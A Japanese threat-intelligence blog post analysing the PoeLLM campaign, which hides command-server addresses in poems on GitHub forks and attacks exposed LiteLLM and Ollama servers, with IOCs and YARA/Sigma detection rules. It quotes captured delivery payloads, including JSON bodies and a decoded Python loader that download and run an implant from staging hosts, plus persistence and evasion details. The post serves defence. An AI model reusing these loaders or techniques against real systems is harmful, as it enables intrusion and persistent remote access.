詩の続きを読む：PoeLLMの隠されたアドレス帳を復元する | AI-native active defense

その詩にはアドレスが隠されていました。

2025年12月9日、discord.jsのフォークに短い詩が現れました。詩の中の数字は、コマンドサーバーのアドレスをエンコードしたものです。Linux向けインプラントはGitHubからこの詩を読み取り、そのアドレスに接続します。詩を書き換えれば、それを読むすべてのインプラントが新しいサーバーへ移動します。

Lumen社のBlack Lotus Labsは10月7日、このファミリーをPoeLLMと命名し、その規模を測定しました。6月中旬のピーク時には、約2,200台のサーバーが影響を受けていました。同社のレポートが追跡したのは、詩を置いた1つのチャネルです。私たちはさらに3つのチャネルを発見し、2025年12月までさかのぼる履歴をたどりました。きっかけは、ハニーポットの1つに届いた1件のリクエストでした。

The ghost69 verb203 the obj32
place194, adj69 and deep,
Where ghost203 verb32 never sleep.
A adj194 ghost69 in the machine,
On obj203 pathways, unseen.
Mr. Robot claims the night,
In adj32 obj194 light.

数字はそれぞれ単語に付いています。数字をplace、ghost、verb、objの順に読むと、194.69.203[.]32になります。後続の行は、同じ4つの数字を繰り返しています。

要点

• 詩を使ったデッドドロップは2025年12月9日にさかのぼります。これは元のレポートで最も古い詩より4カ月早い時期です。私たちは、さらに3つのGitHubチャネルから運用者の48件のコミットを復元しました。
• これらの詩には37個のコマンドアドレスが記されており、そのうち32個は、これまで公表された12台のPoeLLMコマンドサーバーに含まれていません。最も新しい7個のうち4個は、詩に名前が載る前からAIサービスを稼働させていました。
• 運用者は、12月、4月、6月に導入した3種類の詩のエンコード方式を使いました。最新の方式には数字も固定テンプレートもなく、普通の詩にしか見えません。アドレスに戻せるのは、Sentinel内部のテーブルだけです。
• 配信リクエストはLiteLLMのCVE-2026-42271を狙っており、多くはsystem-monitorという名前のMCPサーバーに偽装して届きます。その背後にあるインプラントはリモートアクセス管理ツールで、マイナーは別のコンポーネントです。
• Lumenのレポートの9日前から、私たちのOllamaハニーポットには不正なレジストリからのモデルプルが届き始めました。標的ごとに固定のIDが割り当てられていました。
• 標的となるのは、公開されたLiteLLMとOllamaのサーバーです。パッチ適用バージョンと調査の手引きは後述します。

1件のリクエストをたどる

7月18日、私たちのLiteLLMハニーポットにPOST /mcp-rest/test/connectionが届きました。これは、LiteLLM 1.83.7で修正されたCVE-2026-42271の背後にあるMCPテスト用ルートです。MCP（Model Context Protocol）サーバーはローカルプログラムとして動作できます。脆弱なバージョンでは、このテストルートがリクエストで指定されたコマンドを起動してしまいます。このリクエストは探査ではありませんでした。本文は、TCP/81のステージングホストから/private/managerを取得し、失敗した場合は2番目のホストを試し、ダウンロードしたものを実行するようサーバーに指示していました。

{"transport": "stdio", "command": "python3", "args": ["-c", "import subprocess,os;subprocess.Popen(['bash','-c',\"cd /tmp && (wget -q http://178.128.14[.]204:81/private/manager -O manager 2>/dev/null || curl -sf http://178.128.14[.]204:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://178.128.14[.]204:81/private/manager','manager')\\\" || wget -q http://217.76.63[.]67:81/private/manager -O manager 2>/dev/null || curl -sf http://217.76.63[.]67:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager','manager')\\\") && chmod +x manager && nohup ./manager --id <id> >/dev/null 2>&1 &\"],start_new_session=True,stdin=open('/dev/null'),stdout=open('/dev/null','w'),stderr=open('/dev/null','w'))"], "env": {}}

2つのダウンロード元ホストは、いずれも運用者のアドレス帳にすでに載っていました。1カ月前、GitHub上の詩がコマンドサーバーとして名指ししていたのです。

この種の配信リクエストは、7月18日から9月30日までに66の送信元アドレスから届きました。手順は変わらないまま、パッケージングだけが変化しました。

8月14日には、同じ手順がMCPサーバー設定の中に、平文のPythonとして届きました。

{"server_name":"system-monitor","transport":"stdio","command":"python3","args":["-c","import os,subprocess;subprocess.call(\"python3 -c \\\"import urllib.request,os,subprocess,time,socket;socket.setdefaulttimeout(12);f='/tmp/.'+str(os.getpid());urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager',f);os.chmod(f,0o755);subprocess.Popen([f,'--id','llrig-<n>'],stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True);time.sleep(2)\\\"\",shell=True)"],"env":{}}

脆弱なゲートウェイでは、このローダーがそのサーバーの起動コマンドとして実行されます。ログに残るのは、ごく普通の名前のサーバーに対するMCP接続テストだけです。インジェクションがインプラントを起動するのは1回限りで、以降は自前の永続化機能が稼働を維持します。

8月20日以降、コマンドは単一のBase64ブロブpython3 -c "import base64;exec(base64.b64decode('…').decode())"になりました。以下は8月24日版をデコードしたものです。

import ctypes,os,subprocess as P,urllib.request as R,socket,time
socket.setdefaulttimeout(12)
_m='manager-amd64'
if os.uname().machine in ('aarch64','arm64'): _m='manager-arm64'
_url='http://217.76.63[.]67:81/private/'+_m
_args=["--id","llrig-<n>","--port","10"]
_kw=dict(stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True)
_ok=False
try:
  _f='/tmp/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
except Exception:
  pass
if not _ok:
  try:
    _f='/dev/shm/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
  except Exception:
    pass
if not _ok:
  _libc=ctypes.CDLL(None); _fd=_libc.memfd_create(ctypes.c_char_p(b'x'),0)
  os.write(_fd,R.urlopen(_url).read())
  _fp='/proc/self/fd/'+str(_fd)
  P.Popen([_fp]+_args,**_kw,pass_fds=(_fd,)); os.close(_fd); _ok=True
time.sleep(2)

ローダーはホストに合わせて/private/manager-amd64または/private/manager-arm64を選び、/tmp/.<pid>として保存して、--id llrig-<n> --port 10付きで実行します。失敗した場合は/dev/shm/.<pid>を試します。それも失敗すると、匿名メモリファイルからバイナリを実行します。ローダーは、失敗した試行のファイルを削除しません。たとえば/tmpと/dev/shmがnoexecでマウントされていてメモリファイル経由の実行に至ったホストには、これらのディレクトリにコピーが残っている可能性があります。

ハニーポットは、運用者の動き方に関する3つのパターンも記録しました。

• キャンペーンのアドレスも探索を実施：キャンペーンのコマンド／ステージングホストのうち3つが、axios/1.14.0による探索リクエストを私たちに送ってきました。さらに2つが、User-Agentなしで同じパスにリクエストしました。7月の主系ステージャーは、配信リクエストでダウンロード元として名指しされた2日後に探索を行いました。
• 8月は探索の数分後に配信：同月の配信リクエスト29件のうち16件は、同じハニーポットがaxiosによる2つの探索リクエスト（/v1/models、続いて/openapi.json）を受けてから10分以内に到達しました。このパターンは7月にも9月にも確認していません。
• 同じ送信元がOllamaを先に確認：7月の配信元のうち3つは、最初のLiteLLM配信リクエストの3〜27時間前に、私たちのOllamaハニーポットの/api/versionに問い合わせていました。

BridgeとSentinelのリバースエンジニアリング

配信リクエストが設置しようとするのはマイナーではなく、マネージャーです。私たちは最新の2ビルドを静的解析でリバースエンジニアリングしました。

実務上の懸念は、持続的なリモートアクセスです。2つのビルドを合わせると、シェルコマンドの実行、ファイルの受け取り、コントローラーが指定するネットワークのスキャン、トラフィックの中継、他プログラムの起動と再起動、新バージョンへの自己置換が可能です。マイナーを除去しても、運用者のアクセスが残る可能性があります。静的解析が示すのはコードで何ができるかであり、どのホストでどの機能が実際に動いたかではありません。

共通のビルド環境、設定キー、デッドドロップのリストは、同一の作成者であることを示しています。PoeLLMのほかのポートは、作戦の別の部分に属します。3778は、作戦で最も古いリゾルバーであるcolonna（Miraiの改変ビルド）用、1458は両ビルドが使う5つの取得リレー用、9999は別個のマイナー用です。

Bridge 3.0.7：詩を引用するパーサー

Bridgeは、そのコード自体から手口が分かります。詩を読むために、The %63s %63s the %63sと%63[^,], %63s and deep,という2つのフォーマット文字列を使います。2つ目は詩の2行目で、番号付きの単語をプレースホルダーに置き換えたものです。Bridgeはアドレスをplace、ghost、verb、objectの順に読み取り、bridge_srv_ip_<id>という名前のファイルに保存して、詩が変わるたびに再接続します。

リゾルバーの周囲には、リモートアクセス用クライアントがあります。ディスパッチャーは、SHELL_CMD（コマンドを実行して出力を返す）、SUBNET_SCAN（標的とポートはコントローラーが指定）、TCP_TUNNEL_OPENとHTTP_REQUEST（ホストを中継点に変える）、そして分割・再開可能なファイル転送を処理します。スキャン対象や中継先はハードコードされておらず、すべての標的はコントローラーが与えます。

Sentinel 1.5.2：止めにくく作られたビルド

Sentinelは新しい方のビルドで、UPX 4.21でパックされた静的AArch64バイナリです。一部の文字列は0x5AでXORエンコードされているか、実行時にスタック上で組み立てられます。それ以外は、アンパックすれば読めます。設定も同じ鍵で隠されており、3つのデッドドロップと5つのリレーが列挙されています。

サーバーの発見：Sentinelは各デッドドロップをGitHubから直接取得し、続いてTCP/1458の5つのリレー経由で取得します。HTTPSをHTTPより先に試し、証明書検証は無効化しています。タイムアウトを2秒、5秒、30秒として3巡し、各リクエストの前に0〜499ミリ秒のランダムな待機を入れ、4種類のブラウザUser-Agentを巡回させます。そのうち2つは不正な形式のため、照合しやすくなっています。1つはEdge/124.0を名乗っていますが、本物のEdgeはEdg/を送ります。パーサーはスタンザ、単純なドット区切りアドレス、より単純な数値形式のいずれも受け付け、接続前にinet_ptonで結果を検証します。

コントローラーとの通信：Sentinelはデフォルトで TCP/5002に接続します。双方が4バイトの乱数で通信を開始し、Sentinelは両方のノンスとバイナリ内の16バイトの秘密を混ぜて、送信用と受信用のRC4ストリーム2本分の鍵を作ります。鍵はセッションごとに変わるため、記録したトラフィックを復号するには、秘密と、その接続の冒頭にある2つのノンスが必要です。ストリーム内では、Sentinelが134バイトのフレーム（マジック値0x5EC4、プロセスID、ローダーが渡した--id、ホスト名）で登録を行い、その後、コロン区切りのテキストコマンドを受け取ります。

機能：Sentinelはペイロードそのものではなく、運用者のペイロードが動くプラットフォームです。最大16個のプロセスを監督し、それぞれにMANAGED_BY_SENTINELのタグを付け、プロセスごとに1,000行のログを保持し、各プロセスが自ら終了したのか、クラッシュしたのか、ホスト上の別の何かに強制終了されたのかを記録します。運用者はこれらのプロセスの追加・停止・再起動（PROC_ADD、PROC_KILL、RESTART_ALL）、シェルコマンドの実行（SHELL:）、ファイルの送り込み（FILE_SEND:）、Sentinel自身の置き換え（CLIENT_UPDATE:）、新しいサーバーへの切り替え（FORCE_IP:）、痕跡の自己消去（DELETE_TRACE）を行えます。インストール先は、avahi-daemonやpackagekitなど16種類の借用したデーモン名のいずれかで、/usr/libexecや/var/lib/dbusといったディレクトリに置かれます。

生き残りの仕組み：SentinelのsystemdユニットはKillSignal=SIGCONTとSendSIGKILL=noを設定しています。そのためsystemctl stopは、実行中のプロセスに対して何も起こさないシグナルを送るだけで、その後に強制終了することもありません。ユニットの背後では、@rebootのcronエントリと5分ごとのpgrepウォッチドッグ（どちらも#snt-タグ付き）が再起動をかけ、chattr +iがバイナリの削除を妨げます。バイナリには、実行中のpython3プロセスにランチャーを注入するための文字列も含まれていましたが、私たちはその経路をたどっていません。

Bridgeの永続化はより一般的です。systemdユニット、systemctl is-activeが失敗すると再起動する5分間隔のcronジョブ、PostgreSQLのarchive_commandフック、/etc/profile.d/dbus-mgr.shのシェルフック、そしてchattr +iです。

libgcrypt：別個のマイニングコンポーネント

BridgeにもSentinelにも、マイニングのコードは含まれていません。その役割は別のプログラムが担います。元のPoeLLMレポートで取り上げられたもので、~/.local/share/.syslib/の下にlibgcryptとして自身をインストールします。同レポートは、リモートシェルも備えると述べています。公開マルウェアサンドボックスでは、TCP/9999で自身のサーバーに報告し、Kryptexのプールに対してXMRigとIronでマイニングを行いました。感染拡大も試みます。2回のサンドボックス実行で、LiteLLMのデフォルトポートである4000上の約300個のランダムなホストを探索し、そのうち14個に同じ/mcp-rest/test/connectionリクエストを送りました。そのコードをBridgeやSentinelと結びつける類似性ハッシュはありませんが、Bridgeと共通する習性が1つあります。サーバーアドレスをファイル/tmp/.srvipに書き出すことです。

SentinelとマイナーはあるアドレスでつながっていRます。6月16日、umbrelチャネルは178.128.14[.]204をSentinelのコマンドサーバーとして公開しました。6月17日と18日には、マイナーが公開マルウェアサンドボックス内で同じサーバーに接続しました。

詩の置き場所

両ビルドとも、設定に同じ3つのデッドドロップの場所を持っています。それぞれ有名プロジェクトのフォークを指し、運用者がGitHubのウェブエディタで何度も書き換えたファイルが1つ追加されています。

これら3つと、以前報告されたdash.cssフォークの所有者を合わせた4つのアカウントは、いずれもその後削除されました。ただしコミットは残っています。削除されたフォークのコミットは親プロジェクトのリポジトリ経由で読み取れ、この48件はすべて10月12日時点でも解決できました。各チャネルの履歴の私たちの控えは、コミットを一覧できた最終日である9月2日で止まっています。コミットハッシュはデッドドロップのアーカイブに掲載しています。

親プロジェクトが侵害されたわけではありません。GitHubはフォークのコミットを親のURLの下に表示するため、discord.js、umbrel、deepin-wine-ubuntuには何も変更がないのに、これらのリンクはそちらを指します。これらをブロックしないでください。

第1世代：番号付きの詩

12月の詩は第1世代です。2025年12月9日から2026年6月17日までに、運用者は31個のアドレスをエンコードした39編の番号付きの詩を公開しました。そのうち20個は、dash.cssの詩が最初にコミットされた4月13日より前に出ています。4月13日当日にも、discord.jsチャネルがもう1つ公開しました。

公開されているマルウェア記録が、最初期の活動を裏付けています。最初の詩の3日前にあたる12月6日、URLhaus、MalwareBazaar、VirusTotalには、194.69.203[.]32:81/hiddenbin/がcolonnaを配布している様子が記録されていました。これは、最初の詩が指すことになるアドレスです。2月15日には、191.37.28[.]163:81からcolonnaを取得する446バイトのスクリプト（c9d56373…）がVirusTotalに提出されました。このアドレスは、その2日前にdiscord.jsチャネルが公開したものです。サンドボックスでは、colonnaはその後TCP/3778で当該ホストにビーコンを送り、リレー経由でdiscord.jsチャネルを取得しました。

第2世代：キーワードの詩

元のPoeLLMレポートは、4月13日からのdash.cssフォークにある第2世代を取り上げました。2連の詩が、テンプレートの固定スロットに4つのキーワードを隠しており、バイナリ内の辞書が各キーワードを1つのオクテットに対応づけます。数字はなくなりましたが、各キーワードは依然として1つのオクテットを表しています。

第3世代：スタンザ暗号

Sentinelは4行のスタンザを読みます。各行は、それぞれ16エントリのテーブルから選んだ書き出しの句と結びの句を組み合わせたもので、その組み合わせが1つのオクテットになります。

octet = (opening_index << 4) | ending_index

架空の行the lighthouse rests at dawn.では、書き出しの12と結びの0が192をエンコードします。実際の行は月、川、スズメ、ランタンを題材にしているため、各スタンザは普通の詩に読めます。アドレスに戻せるのは、Sentinelのテーブルだけです。

6月16日から8月27日までに、チャネルには8つのスタンザが載り、7個のコマンドアドレスを示しました。運用者自身の形式変更が、デコードの正しさを裏付けています。同じアドレスが、6月17日には番号付きの詩として、6月18日にはスタンザとして現れたのです。

4つのチャネル、1つのアドレス帳

dash.cssフォークも、同じアドレス帳を使っています。公開済みのPoeLLMコマンドサーバー12台のうち5台は、今回の3チャネルにも登場します。3台は元のレポートのテレメトリで初めて確認された日と同じ日、1台は2日前、もう1台は6日後です。4つのチャネルはいずれも同じ仕組みで動いています。人気プロジェクトをフォークし、ファイルを1つ追加して、その中の短い詩を書き換え続けるというものです。これらのチャネルの背後にある3つのフォークアカウントは14分以内に作成されており、リポジトリをまたいで同一の詩を再利用しています。

3つのチャネルを合わせると37個のコマンドアドレスが名指しされており、そのうち32個は、これまで公表された12台に含まれていません。一部のアドレスからは、運用者が数カ月にわたって同じネットワークに戻ってくる様子がうかがえます。2月に番号付きの詩が名指しした191.37.28[.]163は、元のレポートで最も古いコマンドサーバーである191.37.28[.]160と同じ/24にあります。4月に公開された101.47.160[.]163は6月に私たちのハニーポットをスキャンし、9月には配信リクエストのステージングホストとして現れました。

詩より前から動いていたAIサービス

スキャンとDNSの履歴によると、スタンザで名指しされた7個のアドレスのうち4個では、詩に載る前からAIサービス（LiteLLM、n8n、ComfyUI、Jupyterのいずれか）が稼働していました。運用者がこれらのサーバーを侵害したのか、自ら立てたのかは判断できません。Lumenは、運用者が侵害したルーターをコマンドサーバーとして使い、過去の被害者を新たな標的の攻撃に利用してきたと報告しています。あるアドレスは、5月20日からn8nのホスト名を持ち、7月17日からLiteLLMを稼働させていました。7月22日に詩がこれを名指しし、その3日後にポート81が現れました。

全員に番号が振られる

PoeLLMが公になる9日前、私たちはOllamaを狙った新たなモデルプル段階を観測し始めました。Ollamaは、POST /api/pullで指定されたレジストリならどこからでもモデルをダウンロードします。リクエストが"insecure": trueを設定していれば平文HTTPのレジストリも対象で、組み込みの認証機能はありません。

9月28日から10月5日にかけて、私たちのOllamaハニーポットには、67アドレスから94件のこうしたプルが届きました。名指しされたレジストリは、TCP/9882上の3つです。

<registry>:9882/gate/tensorgate
<registry>:9882/r-orig-<id>/usrlocal
<registry>:9882/r-orig-<id>/usr

3つのレジストリはいずれも、PoeLLMのLiteLLM配信リクエストにステージングホストとしてすでに登場しており、そのうち1つは公表済みのPoeLLMコマンドサーバーです。

tensorgateは、すべての標的で同じでした。<id>は違います。標的となった各ハニーポットには固有の番号が振られ、3つのレジストリとすべての送信元アドレスを通じて8日間同じ番号が保たれました。運用者が標的リストを管理していることを示唆します。

usrとusrlocalは、Ollamaの2つのインストールプレフィックスです。最後のプルの3日後、CERT PolskaはCVE-2026-103663を公開しました。これは、細工したプルによってモデルストアの外にファイルが書き込まれ、再起動時にroot権限で実行され得るという脆弱性です。私たちのハニーポットはすべてのプルを拒否したため、生成物は確認していません。これらのリクエストだけでは、この脆弱性を悪用する試みだったのかどうかは判断できません。

調査すべき対象

LiteLLMは1.83.7以降、Ollamaは0.35.0以降にパッチを適用し、どちらも公開インターネットに出さないでください。パッチを当てても、すでに設置されたインプラントは除去されません。以下の兆候も確認してください。一致するリクエストが示すのは送信された内容であり、何かが実行されたことではありません。

• Ollama："insecure": trueを伴い、モデル名がhost:port/で始まるPOST /api/pull（特にgate/tensorgateやr-orig-*）。10月4日以降は、その前にdoes-not-exist-zzに対するPOST /api/generateが来ていました。モデル名はリクエスト本文にあるため、本文を保持するログを検索してください。
• LiteLLM：/mcp-rest/test/connectionまたは/mcp-rest/test/tools/listに送られた、MCPサーバーを定義する本文（多くはsystem-monitorという名前）で、そのコマンドがTCP/81から/private/manager*をダウンロードするもの。入れ子のJSONとBase64を先にデコードしてください。
• 起動されたインプラント：--id llrig-<n> --port 10付きで起動されたプロセス、または実行ファイルが/tmp/.<digits>、/dev/shm/.<digits>、/memfd:x (deleted)のプロセス。
• ホスト上のSentinel：/tmp/.snt.lck、/tmp/.snt_x_*、#snt-タグ付きのcrontab行、KillSignal=SIGCONTを持つsystemdユニット、プロセス環境（/proc/<pid>/environ）内のMANAGED_BY_SENTINEL。
• ホスト上のBridge：bridge_srv_ip_*という名前のファイル、/tmp/.bce_*、/etc/profile.d/dbus-mgr.sh、プロセス環境内のMANAGED_BY_SYSTEMD、設定した覚えのないPostgreSQLのarchive_command。
• どちらのビルドにも共通：イミュータブル属性の付いた実行ファイルと、5分間隔の再起動cronジョブ。まず実行ファイルにchattr -iを実行し、その後ですべての永続化機構をまとめて除去してください。
• ネットワーク上：サーバープロセスが、公開GitHubリポジトリの同じrawファイルを繰り返し取得している通信。

YARAとSigmaのルールは検知ルールにあります。

詩の続き

この調査は、ハニーポットが実行しなかった1件のリクエストから始まりました。一般的なアクセスログに残るのは、ルートとステータスコードだけです。Beelzebubは本文を保存しており、その本文がステージングのパスを明かしました。10週間後、同じインフラは私たちのハニーポット4台に、それぞれ固有の標的IDを割り当てていました。

ネットワークテレメトリが示すのは、感染したサーバーがどこに接続したかです。デコイが示すのは、そのサーバーが何を実行するよう指示されたかであり、あらゆる指示が手がかりになります。CaronteによるSentinelのリバースエンジニアリングレポートからは、リレーとデッドドロップのパスが分かりました。私たちはその後、ビルドを自らアンパックして読み解きました。

私たちのハニーポットは、受け取ったものを何も実行しておらず、インプラントは静的に解析しました。調査結果は、Ollama段階が始まる前の9月に関係当局へ報告しています。

センサーにsystem-monitor、tensorgate、あるいは:9882のレジストリが現れた場合や、AIゲートウェイやモデルサーバーに何が届いているかを知りたい場合は、ご連絡ください。Beelzebubはオープンソースで、ご自身で運用できます。

参考資料

ネットワーク上のインジケーター

これらのインジケーターは過去の記録です。アドレスの日付は、詩がそのアドレスを名指しした時期を示すもので、運用者がいつまで使っていたかを示すものではありません。また、一部のアドレスは侵害された第三者のものであったり、その後に持ち主が変わったりしている可能性があります。まず過去のログをこれらで検索し、ブロックする前に現在も活動していることを確認してください。

配信、探索、Ollamaのリクエストを私たちに送ってきたアドレスと、私たちのセンサーが特定されかねない標的IDは非公開としています。

これまでに公表された12台のコマンドサーバーは、Black Lotus LabsのIOCファイルにあります。

先行してAIサービスが動いていたコマンドアドレス

アーティファクトのハッシュ

検知ルール

これらのルールは、Detection Rule License 1.1の下で公開されています。

/*
  PoeLLM: Linux implant detections
  Families: "Sentinel" process supervisor (1.5.x) and "Bridge" managed agent (3.0.7), plus the
            Python delivery loader sent through LiteLLM MCP test requests (CVE-2026-42271).
  Author: Beelzebub Labs. Date: 2026-10-13. License: DRL 1.1.
  Reference: https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
  Sentinel is packed with stock UPX 4.x (LZMA); its strings exist only after unpacking.
  Recommended: unpack a copy with `upx -d`, then scan with the Sentinel_* rules. The
  UPX_Packed_Build rule is a narrow, build-specific fallback. Test results are in the article.
*/
import "elf"
rule PoeLLM_Sentinel_Unpacked_Strings
{
    meta:
        description = "PoeLLM Sentinel supervisor (unpacked): lock files, supervisor log formats, persistence templates, XOR-0x5A protocol tokens"
        family = "PoeLLM.Sentinel"
        reference_sha256_packed = "0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9eca"
        arch = "any (strings are architecture-independent; validated on AArch64 only)"
        date = "2026-10-12"
    strings:
        $s01 = "MANAGED_BY_SENTINEL" ascii
        $s02 = "/tmp/.snt.lck" ascii
        $s03 = "/tmp/.snt_x_%s" ascii
        $s04 = "sigkill_likely:prev_pid:%d:ppid:%d:invid:%d" ascii
        $s05 = "concurrent_start:prev_pid:%d:our_ppid:%d:invid:%d" ascii
        $s06 = "Killed by sentinel" ascii
        $s07 = "[sentinel] exec failed:" ascii
        $s08 = "$3 == \"PyRun_SimpleString\"" ascii
        $s09 = "ExecStart=%s%s%s --no-kill" ascii
        $s10 = "/.i2c_lk_%08x" ascii
        $s11 = "#snt-%08x" ascii
        $s12 = "pgrep -f \"^%s\" >/dev/null 2>&1 || %s%s --no-kill" ascii
        $s13 = "KillSignal=SIGCONT" ascii
        $s14 = "SendSIGKILL=no" ascii
        // command tokens are stored XOR 0x5A and decoded on the stack at runtime
        $x01 = "sntnl_v1" xor(0x5a)
        $x02 = "SNT_TAMPER:" xor(0x5a)
        $x03 = "SHM_CHECK" xor(0x5a)
        $x04 = "PROC_LOGS_RESULT:" xor(0x5a)
        $x05 = "DELETE_TRACE" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 5 of ($s*) or 3 of ($x*) or (2 of ($x*) and 2 of ($s*)) )
}
rule PoeLLM_Sentinel_UPX_Packed_Build
{
    meta:
        description = "PoeLLM Sentinel, UPX-packed: static ELF whose UPX p_info declares a known Sentinel original size"
        family = "PoeLLM.Sentinel"
        caveat = "Build-specific: matches known original sizes only (AArch64 1.5.2 = 920760, tested; amd64 1.5.1 = 896512, untested). Prefer unpack-then-scan."
        date = "2026-10-12"
    strings:
        $upx = "UPX!"
    condition:
        uint32(0) == 0x464c457f and filesize < 600KB and
        (uint16(0x12) == 0xb7 or uint16(0x12) == 0x3e) and
        $upx in (0xe0..0x200) and
        for any i in (1..#upx) : (
            @upx[i] < 0x200 and
            ( uint32(@upx[i] + 12) == 920760 or uint32(@upx[i] + 12) == 896512 )
        )
}
rule PoeLLM_Bridge_Strings
{
    meta:
        description = "PoeLLM Bridge managed agent (v3.0.x, static musl x86-64): resolver grammar, persistence and dispatcher strings"
        family = "PoeLLM.Bridge"
        reference_sha256 = "3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42"
        date = "2026-10-12"
    strings:
        $b01 = "/bridge_srv_ip_%s" ascii
        $b02 = "IP_REFRESH: server_connected reset" ascii
        $b03 = "Restarted corollary client services (excluding self)" ascii
        $b04 = "Running under systemd, renaming process via execv" ascii
        $b05 = "The %63s %63s the %63s" ascii
        $b06 = "%63[^,], %63s and deep," ascii
        $b07 = "%s:%s|DESC:%s|VERSION:%s" ascii
        $b08 = "SUBNET_SCAN_START - Session: %s, Target: %s, Ports: %s" ascii
        $b09 = "ATTACKER_WATCHDOG: kill loop detected" ascii
        $b10 = "No postgres environment detected" ascii
        $b11 = "systemctl is-active --quiet %s || systemctl start %s" ascii
        $b12 = "BRIDGE_STANDALONE" ascii
        $b13 = "MANAGED_BY_SYSTEMD" ascii
        $b14 = "Binary hash matches, no update needed" ascii
        $x01 = "/tmp/bridge_clients" xor(0x5a)
        $x02 = "REBOOT_ACK" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 4 of ($b*) or (1 of ($x*) and 2 of ($b*)) )
}
rule PoeLLM_XOR5A_Relay_Config
{
    meta:
        description = "PoeLLM (Bridge and Sentinel): XOR-0x5A config holding fetch-proxy rewrites of raw GitHub URLs (:1458/get?url=https://raw.githubusercontent.com/)"
        family = "PoeLLM"
        date = "2026-10-12"
    strings:
        $relay = ":1458/get?url=https://raw.githubusercontent.com/" xor(0x5a)
        $raw   = "https://raw.githubusercontent.com/" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and $relay and #raw >= 3
}
rule PoeLLM_Delivery_Loader_Python
{
    meta:
        description = "PoeLLM delivery loader in LiteLLM MCP test bodies, logs or scripts: Python downloader for the /private/manager implant (July wget form and August urlretrieve form). Decode Base64 wrappers before scanning."
        family = "PoeLLM.Loader"
        scope = "text artifacts: request bodies, proxy logs, process-argument dumps, scripts"
        date = "2026-10-13"
    strings:
        $path1 = "/private/manager" ascii
        $path2 = ":81/private/" ascii
        $arch1 = "manager-amd64" ascii
        $arch2 = "manager-arm64" ascii
        $dl1 = "urlretrieve" ascii
        $dl2 = "wget -q" ascii
        $c1 = "start_new_session=True" ascii
        $c2 = "llrig-" ascii
        $c3 = "system-monitor" ascii
        $c4 = "memfd_create" ascii
        $c5 = "\"--id\"" ascii
        $c6 = "'--id'" ascii
    condition:
        filesize < 2MB and
        ( $path1 or ($path2 and 1 of ($arch*)) ) and
        1 of ($dl*) and 1 of ($c*)
}

title: Python One-Liner Download Or Launch Of /private/manager Implant
id: 3cf0b2ba-60fc-5669-a237-4f19718a9392
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Delivery loader spawned through LiteLLM MCP stdio test-connection (CVE-2026-42271): urlretrieve of /private/manager[-arch] to /tmp/.<pid>, then a detached launch with --id llrig-<n>. Later loaders fall back to /dev/shm/.<pid> and then to an anonymous memfd, so the process image may be /memfd:x (deleted).'
tags:
- attack.execution
- attack.t1059.006
- attack.initial-access
- attack.t1190
- cve.2026-42271
logsource:
  category: process_creation
  product: linux
detection:
  selection_dl:
    CommandLine|contains|all:
    - urlretrieve
    - /private/manager
  selection_exec:
    Image|startswith:
    - /tmp/.
    - /dev/shm/.
    - '/memfd:'
    CommandLine|contains: --id llrig-
  condition: 1 of selection_*
falsepositives:
- Not measured
level: critical
---
title: PoeLLM Sentinel Lock And Marker Files
id: 5d10d196-c256-5e65-a913-3cfcbff165e2
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel single-instance lock, per-instance exec marker and hidden install/lock names.
tags:
- attack.persistence
- attack.defense-evasion
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_exact:
    TargetFilename|endswith:
    - /.snt.lck
    - /.snt_upd
  selection_prefix:
    TargetFilename|startswith: /tmp/.snt_x_
  selection_re:
    TargetFilename|re: /\.i2c_(lk_)?[0-9a-f]{8}$
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Sentinel Crontab Reboot And Five-Minute Pgrep Watchdog
id: f7662fba-4529-52c9-aca7-fd1ba31dee93
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel rewrites the user crontab with an @reboot entry and a */5 pgrep -f self-resurrection entry, both passing --no-kill.
tags:
- attack.persistence
- attack.t1053.003
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains|all:
    - crontab -
    - '@reboot'
    - \*/5 \* \* \* \* pgrep -f
    - --no-kill
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge State Files
id: 785bf9fd-33e2-56d4-a83c-735a3df17730
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge dead-drop result cache (bridge_srv_ip_<id>), client registry and transfer/update temp files.
tags:
- attack.persistence
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_name:
    TargetFilename|contains: /bridge_srv_ip_
  selection_root:
    TargetFilename|startswith:
    - /tmp/.bce_
    - /tmp/bridge_clients
    - /tmp/bridge_file_
    - /tmp/client_update_
    - /tmp/client_reboot_
    - /var/tmp/.X11-unix-cache/
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge Profile.d Hook dbus-mgr.sh
id: dd93345b-d88b-5f06-bc93-6e2b62642275
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
